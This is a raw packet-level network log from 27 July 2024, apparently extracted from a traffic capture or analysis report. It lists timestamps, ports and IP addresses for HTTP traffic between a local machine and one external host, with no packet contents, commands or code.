Jul 27, 2024 09:25:05.135241032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135273933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135293007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135329008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135345936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135363102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135371923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135396004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135410070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135428905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135438919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135462999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135478973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135504007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135516882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135554075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135562897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135582924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135598898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135617971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135622978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135651112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135679007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135685921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135693073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135729074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135766029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135798931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135826111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135833025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135842085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135865927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135879993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135900974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135910034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135934114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135948896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135968924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135978937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136015892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136033058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136065006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136091948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136099100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136111021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136131048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136142969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136173964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136183023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136210918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136238098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136259079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136291027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136292934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136320114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136326075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136327028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136353970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136380911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136394978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136395931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136423111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136435986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136462927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136468887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136532068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136534929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136584997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136595011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136620045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136636019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136651993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136665106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136683941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136693954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136718035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136729002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136770010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136778116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136802912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136821032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136835098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136845112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136862993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136879921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136894941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136914015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136929035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.136941910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136976004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.136979103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137025118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137027979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137059927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137078047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137095928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137103081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137129068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137137890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137161970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137171030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137209892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137213945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137247086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137264967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137288094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137295961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137334108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137341976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137362003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137383938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137392998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137403965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137439966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137443066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137471914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137500048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137505054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137514114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137538910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137547970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137572050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137589931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137604952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137613058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137638092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137644053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137670994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137681007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137703896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137712955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137752056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137763023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137794971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137825966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137829065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137841940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137861013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137871981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137907982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137911081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137943983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137954950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.137976885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.137993097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138010979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138016939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138044119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138053894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138076067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138084888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138109922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138118982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138142109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138151884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138176918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138191938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138209105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138216972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138242006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138252020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138273954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138283968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138308048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138324022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138340950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138348103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138374090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138386011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138406038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138422012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138438940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138446093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138472080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138484955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138504028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138518095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138537884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138549089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138571978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.138580084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.138612986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225104094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225156069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225188017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225189924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225224018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225239038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225239038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225259066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225275040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225292921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225311995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225327015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225342035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225363016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.225377083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.225409985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227369070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227404118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227432013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227442026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227448940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227478981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227484941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227514029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227541924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227565050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227613926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227648020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227673054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227694035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227699995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227735043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227750063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227783918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227802992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227855921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227858067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227888107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227914095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227936029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.227938890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227969885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.227998018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228003025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228013039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228039026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228065014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228068113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228092909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228101969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228127956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228135109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228142023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228183985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228221893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228254080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228281021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228287935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228298903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228319883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228343964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228353024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228368998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228385925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228403091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228420973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228435993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228455067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228470087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228513956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228523970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228559017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228595972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228596926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228611946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228662968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228667021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228696108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228715897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228729010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228748083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228763103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228789091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228797913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228805065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228832006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228863001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228864908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228879929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228897095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228904009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228926897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228960991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.228976965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.228977919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229008913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229037046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229043007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229052067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229074955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229085922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229108095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229135990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229140043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229166985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229185104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229190111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229222059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229244947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229255915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229280949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229322910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229341030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229372978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229398012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229406118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229414940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229439020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229454994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229470968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229495049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229501009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229526043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229535103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.229547977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.229592085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.268531084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.273823977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451590061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451664925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451700926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451735020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451769114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451801062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451834917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451873064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451873064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451873064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451873064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451885939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451920986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451950073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451950073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451955080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451970100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.451988935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.451994896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452033043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452039003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452073097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452084064 CEST	49704	80	192.168.2.5	85.28.47.31
